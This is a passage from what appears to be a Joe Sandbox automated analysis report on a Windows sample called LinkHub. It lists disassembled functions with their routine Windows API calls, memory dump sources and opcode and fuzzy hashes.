                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                                                            • String ID:
                                                                            • API String ID: 2880819207-0
                                                                            • Opcode ID: 94dbf4ab783542dcbf69364a032a92fe27196c5cf8e4543af7f2b5300c8685f2
                                                                            • Instruction ID: a4cf9b022354c482d95d055b573f49a20a7a71c33b80e5e59cd41bfa91cadf95
                                                                            • Opcode Fuzzy Hash: 94dbf4ab783542dcbf69364a032a92fe27196c5cf8e4543af7f2b5300c8685f2
                                                                            • Instruction Fuzzy Hash: 64114872A04219BFCB119BAD9C09A9F7FADAB07320F004219F911F33D0C2B4D9088760
                                                                            Function 00DFD53C Relevance: 6.1, APIs: 4, Instructions: 55threadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateThread.KERNEL32(00000000,?,00DFD369,00000000,00000004,00000000), ref: 00DFD588
                                                                            • GetLastError.KERNEL32 ref: 00DFD594
                                                                            • __dosmaperr.LIBCMT ref: 00DFD59B
                                                                            • ResumeThread.KERNEL32(00000000), ref: 00DFD5B9
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Thread$CreateErrorLastResume__dosmaperr
                                                                            • String ID:
                                                                            • API String ID: 173952441-0
                                                                            • Opcode ID: ffcc9d14dc4dedd2747dc8ac67d1b661b2713d556fc388df70adb42f4c5ade4c
                                                                            • Instruction ID: 2528fcd5977c38515fa5dae13f014dbcf16cecc449215b1fe89f36620359178d
                                                                            • Opcode Fuzzy Hash: ffcc9d14dc4dedd2747dc8ac67d1b661b2713d556fc388df70adb42f4c5ade4c
                                                                            • Instruction Fuzzy Hash: D401C8325041187BCB116F66EC05BBA7B6BEF42734F168215F625962D0CB708904C6B1
                                                                            Function 00DD7873 Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00DD78B1
                                                                            • GetStockObject.GDI32(00000011), ref: 00DD78C5
                                                                            • SendMessageW.USER32(00000000,00000030,00000000), ref: 00DD78CF
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CreateMessageObjectSendStockWindow
                                                                            • String ID:
                                                                            • API String ID: 3970641297-0
                                                                            • Opcode ID: 1c1a6602284677019806e5143180e8aff02aa9774f41940355c29684098da429
                                                                            • Instruction ID: 483a35cc0a043b339103842fc2b7b8443014261bb32f8984e92034cc768de3ee
                                                                            • Opcode Fuzzy Hash: 1c1a6602284677019806e5143180e8aff02aa9774f41940355c29684098da429
                                                                            • Instruction Fuzzy Hash: 72118B72A05108BFDF065F959C58EEA7B69FF083A4F040116FA0062220E772DC60FBA1
                                                                            Function 00E033E6 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00E411D9,00000000,00000000,?,00E0338D,00E411D9,00000000,00000000,00000000,?,00E035FE,00000006,FlsSetValue), ref: 00E03418
                                                                            • GetLastError.KERNEL32(?,00E0338D,00E411D9,00000000,00000000,00000000,?,00E035FE,00000006,FlsSetValue,00E73260,FlsSetValue,00000000,00000364,?,00E031B9), ref: 00E03424
                                                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00E0338D,00E411D9,00000000,00000000,00000000,?,00E035FE,00000006,FlsSetValue,00E73260,FlsSetValue,00000000), ref: 00E03432
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LibraryLoad$ErrorLast
                                                                            • String ID:
                                                                            • API String ID: 3177248105-0
                                                                            • Opcode ID: 5c937eb614d1ace41ae0087e4db01131c218e336895029234e2806239d025ce2
                                                                            • Instruction ID: 480728bf53feca4ade6985e446a72a070d7082753ed2025359723093c21da9bf
                                                                            • Opcode Fuzzy Hash: 5c937eb614d1ace41ae0087e4db01131c218e336895029234e2806239d025ce2
                                                                            • Instruction Fuzzy Hash: 8B01D832B152229FC7224B7AAC449577B5CEF05BA57510224F916FB1C1D721DD85C6E0
                                                                            Function 00E3BA6F Relevance: 6.0, APIs: 4, Instructions: 50sleepCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00E3B69A,?,00008000), ref: 00E3BA8B
                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00E3B69A,?,00008000), ref: 00E3BAB0
                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,00E3B69A,?,00008000), ref: 00E3BABA
                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,00E3B69A,?,00008000), ref: 00E3BAED
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CounterPerformanceQuerySleep
                                                                            • String ID:
                                                                            • API String ID: 2875609808-0
                                                                            • Opcode ID: 10856f9081a16fe15457ea6683565f9f5701fca36936a06d25f50e3e029445e3
                                                                            • Instruction ID: 5b84ba312492bc04ebd315cee4b8ae9c93926ac260cbe20f6d30815d4bb8c685
                                                                            • Opcode Fuzzy Hash: 10856f9081a16fe15457ea6683565f9f5701fca36936a06d25f50e3e029445e3
                                                                            • Instruction Fuzzy Hash: E1117930D05A2DEBCF00AFA6E9486EEBF78FF09710F104085DA42B2140CBB08654CBA1
                                                                            Function 00E6886F Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetWindowRect.USER32(?,?), ref: 00E6888E
                                                                            • ScreenToClient.USER32(?,?), ref: 00E688A6
                                                                            • ScreenToClient.USER32(?,?), ref: 00E688CA
                                                                            • InvalidateRect.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00E688E5
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ClientRectScreen$InvalidateWindow
                                                                            • String ID:
                                                                            • API String ID: 357397906-0
                                                                            • Opcode ID: 85212d3581cfdaa76f2b0b3d2bebbda58a2f3c6bddec33a086a439b0c4599a4b
                                                                            • Instruction ID: ede06fb1f1ecbd6fdedf4b2977ab29db0fd3aab3daf34b4617a3ce0660b55923
                                                                            • Opcode Fuzzy Hash: 85212d3581cfdaa76f2b0b3d2bebbda58a2f3c6bddec33a086a439b0c4599a4b
                                                                            • Instruction Fuzzy Hash: 9A1160B9D0020AAFDB01CFA9D884AEEBBB5FB08354F508166E915E3220D775AA54CF50
                                                                            Function 00E336F4 Relevance: 6.0, APIs: 4, Instructions: 34threadwindowtimeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,?), ref: 00E33712
                                                                            • GetWindowThreadProcessId.USER32(?,00000000), ref: 00E33723
                                                                            • GetCurrentThreadId.KERNEL32 ref: 00E3372A
                                                                            • AttachThreadInput.USER32(00000000,?,00000000,00000000), ref: 00E33731
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                                                            • String ID:
                                                                            • API String ID: 2710830443-0
                                                                            • Opcode ID: 68e50cec8aebad69baab273472e6ceaed47f9d74619ae0fcfe7cc8a4597e3739
                                                                            • Instruction ID: 6bea9f24ef1f1e99aba42348f3e6232e27d43454aa28afbaa3959a1a728333ec
                                                                            • Opcode Fuzzy Hash: 68e50cec8aebad69baab273472e6ceaed47f9d74619ae0fcfe7cc8a4597e3739
                                                                            • Instruction Fuzzy Hash: 89E06DF1A062247ADA2017A3AC4DEEB7F6CDB42BE1F800016F105F2090DAE4C944C6B1
                                                                            Function 00E692BF Relevance: 6.0, APIs: 4, Instructions: 31COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD1F2D: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00DD1F87
                                                                              • Part of subcall function 00DD1F2D: SelectObject.GDI32(?,00000000), ref: 00DD1F96
                                                                              • Part of subcall function 00DD1F2D: BeginPath.GDI32(?), ref: 00DD1FAD
                                                                              • Part of subcall function 00DD1F2D: SelectObject.GDI32(?,00000000), ref: 00DD1FD6
                                                                            • MoveToEx.GDI32(?,00000000,00000000,00000000), ref: 00E692E3
                                                                            • LineTo.GDI32(?,?,?), ref: 00E692F0
                                                                            • EndPath.GDI32(?), ref: 00E69300
                                                                            • StrokePath.GDI32(?), ref: 00E6930E
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                                            • String ID:
                                                                            • API String ID: 1539411459-0
                                                                            • Opcode ID: fe6e20cd17799a417ece7d8956e02fe59ddcc94b71db970d505c5e89a8b1101a
                                                                            • Instruction ID: 17f1e37bf66df9f85ff0056027daefebefa7f2e31bed2fc13b81c85077d6163e
                                                                            • Opcode Fuzzy Hash: fe6e20cd17799a417ece7d8956e02fe59ddcc94b71db970d505c5e89a8b1101a
                                                                            • Instruction Fuzzy Hash: 7DF0BE3214A218BEDB121F55BC0EFCF3F5AAF0E360F008000FA11711E2C3B455298BA5
                                                                            Function 00DD21A0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetSysColor.USER32(00000008), ref: 00DD21BC
                                                                            • SetTextColor.GDI32(?,?), ref: 00DD21C6
                                                                            • SetBkMode.GDI32(?,00000001), ref: 00DD21D9
                                                                            • GetStockObject.GDI32(00000005), ref: 00DD21E1
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Color$ModeObjectStockText
                                                                            • String ID:
                                                                            • API String ID: 4037423528-0
                                                                            • Opcode ID: 0311f885cf084a0f4adc617527ebbc4f7ed8dfdf666881429f7c91981b975618
                                                                            • Instruction ID: 692b2214712a1a7aa0e0ebf24febf9bc58287369afd2a621610fd3eac965a281
                                                                            • Opcode Fuzzy Hash: 0311f885cf084a0f4adc617527ebbc4f7ed8dfdf666881429f7c91981b975618
                                                                            • Instruction Fuzzy Hash: C9E06531744240AEDB215B76BC0D7E93B11AB12375F048319F7B6640E0C7F186889B10
                                                                            Function 00E2EC36 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDesktopWindow.USER32 ref: 00E2EC36
                                                                            • GetDC.USER32(00000000), ref: 00E2EC40
                                                                            • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E2EC60
                                                                            • ReleaseDC.USER32(?), ref: 00E2EC81
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                            • String ID:
                                                                            • API String ID: 2889604237-0
                                                                            • Opcode ID: 8efac90befa038cf3c1c409b088eec5b60e4a6d6d824e54640f88096f294168f
                                                                            • Instruction ID: 125dfad9625027ae8b043939ddffa47359a27a3ee52ed4a54cbe6e4a182e87e4
                                                                            • Opcode Fuzzy Hash: 8efac90befa038cf3c1c409b088eec5b60e4a6d6d824e54640f88096f294168f
                                                                            • Instruction Fuzzy Hash: 5FE01AB0D04204DFCB41AFA2ED08A5EBBB1EB08350F508409E84AF3350C7B899059F11
                                                                            Function 00E2EC4A Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetDesktopWindow.USER32 ref: 00E2EC4A
                                                                            • GetDC.USER32(00000000), ref: 00E2EC54
                                                                            • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00E2EC60
                                                                            • ReleaseDC.USER32(?), ref: 00E2EC81
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                                            • String ID:
                                                                            • API String ID: 2889604237-0
                                                                            • Opcode ID: 8412c7bc98fadfc9fd861f36e685612e56bd2bb5a56aa868ea06101772a59ac6
                                                                            • Instruction ID: 77506c2e126045186db1803f37c62bffc040d159596a504f323a1134b8dc7285
                                                                            • Opcode Fuzzy Hash: 8412c7bc98fadfc9fd861f36e685612e56bd2bb5a56aa868ea06101772a59ac6
                                                                            • Instruction Fuzzy Hash: BAE01AB0D04204DFCB51AFA2EC08A5EBBB1EB08350B508409E849F3250C7B899059F10
                                                                            Function 00E23616 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 409COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: LoadString
                                                                            • String ID: @COM_EVENTOBJ$bn
                                                                            • API String ID: 2948472770-192135924
                                                                            • Opcode ID: a60baa0b724b1d74ad1a3676b023d0d948617c3e1359725a6f7c167d3902b28f
                                                                            • Instruction ID: 2977f77e618130990b7eed17376099ee04a9856b01cb5f13e3889bc444bb95b1
                                                                            • Opcode Fuzzy Hash: a60baa0b724b1d74ad1a3676b023d0d948617c3e1359725a6f7c167d3902b28f
                                                                            • Instruction Fuzzy Hash: 2AF1BF70A083148FD728DF24D841B6AB7E1FF84308F14991DF58AAB2A1C775EA45CF92
                                                                            Function 00E585DB Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DF05B2: EnterCriticalSection.KERNEL32(00EA170C,?,00000000,?,00DDD22A,00EA3570,00000001,00000000,?,?,00E4F023,?,?,00000000,00000001,?), ref: 00DF05BD
                                                                              • Part of subcall function 00DF05B2: LeaveCriticalSection.KERNEL32(00EA170C,?,00DDD22A,00EA3570,00000001,00000000,?,?,00E4F023,?,?,00000000,00000001,?,00000001,00EA2430), ref: 00DF05FA
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00DF0413: __onexit.LIBCMT ref: 00DF0419
                                                                            • __Init_thread_footer.LIBCMT ref: 00E58658
                                                                              • Part of subcall function 00DF0568: EnterCriticalSection.KERNEL32(00EA170C,00000000,?,00DDD258,00EA3570,00E127C9,00000001,00000000,?,?,00E4F023,?,?,00000000,00000001,?), ref: 00DF0572
                                                                              • Part of subcall function 00DF0568: LeaveCriticalSection.KERNEL32(00EA170C,?,00DDD258,00EA3570,00E127C9,00000001,00000000,?,?,00E4F023,?,?,00000000,00000001,?,00000001), ref: 00DF05A5
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
                                                                            • String ID: Variable must be of type 'Object'.$bn
                                                                            • API String ID: 535116098-2837176596
                                                                            • Opcode ID: 82bccfa03c5222c969effe44640cd92ef4f5833e1b55fcc93b910e94f724be62
                                                                            • Instruction ID: f17be90e7d8c74b8098f6194657e4df0c2d64794da7b3fd4e9d81fdce1ae4f29
                                                                            • Opcode Fuzzy Hash: 82bccfa03c5222c969effe44640cd92ef4f5833e1b55fcc93b910e94f724be62
                                                                            • Instruction Fuzzy Hash: 68916D74A00208EFCB04EF54D991DADB7B1EF49305F50985AF906BB392DB71AE49CB60
                                                                            Function 00E457CC Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD41EA: _wcslen.LIBCMT ref: 00DD41EF
                                                                            • WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00E45919
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Connection_wcslen
                                                                            • String ID: *$LPT
                                                                            • API String ID: 1725874428-3443410124
                                                                            • Opcode ID: 16e287a7e68bbad7fade95cc12a541b5b7d4c47a414953aeb0dd7b0187bdc9f7
                                                                            • Instruction ID: 1bebe38e5fa9aff688e379212d5a5834aac80aeb49f5d6226e9621aad5179fa9
                                                                            • Opcode Fuzzy Hash: 16e287a7e68bbad7fade95cc12a541b5b7d4c47a414953aeb0dd7b0187bdc9f7
                                                                            • Instruction Fuzzy Hash: 1A917F76A00604DFCB14DF54D494EAABBF1EF48318F199099E849AF352C731EE85CBA0
                                                                            Function 00E35703 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 223comCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • OleSetContainedObject.OLE32(?,00000001), ref: 00E358AF
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: ContainedObject
                                                                            • String ID: 0$$Container
                                                                            • API String ID: 3565006973-836522788
                                                                            • Opcode ID: 3cefef4ba6ec5b591b586ddbdff2b7a118329ad17eab59cc0e6628e4d93ca546
                                                                            • Instruction ID: be48002f941c49a90fd1133957d9ee926de2f3de9fcde6425ffc50351646e4ec
                                                                            • Opcode Fuzzy Hash: 3cefef4ba6ec5b591b586ddbdff2b7a118329ad17eab59cc0e6628e4d93ca546
                                                                            • Instruction Fuzzy Hash: 50814871200601EFDB14DF58C888B6ABBF4FF49714F10856EF95AAB391DBB0A845CB60
                                                                            Function 00DFE5ED Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • __startOneArgErrorHandling.LIBCMT ref: 00DFE67D
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
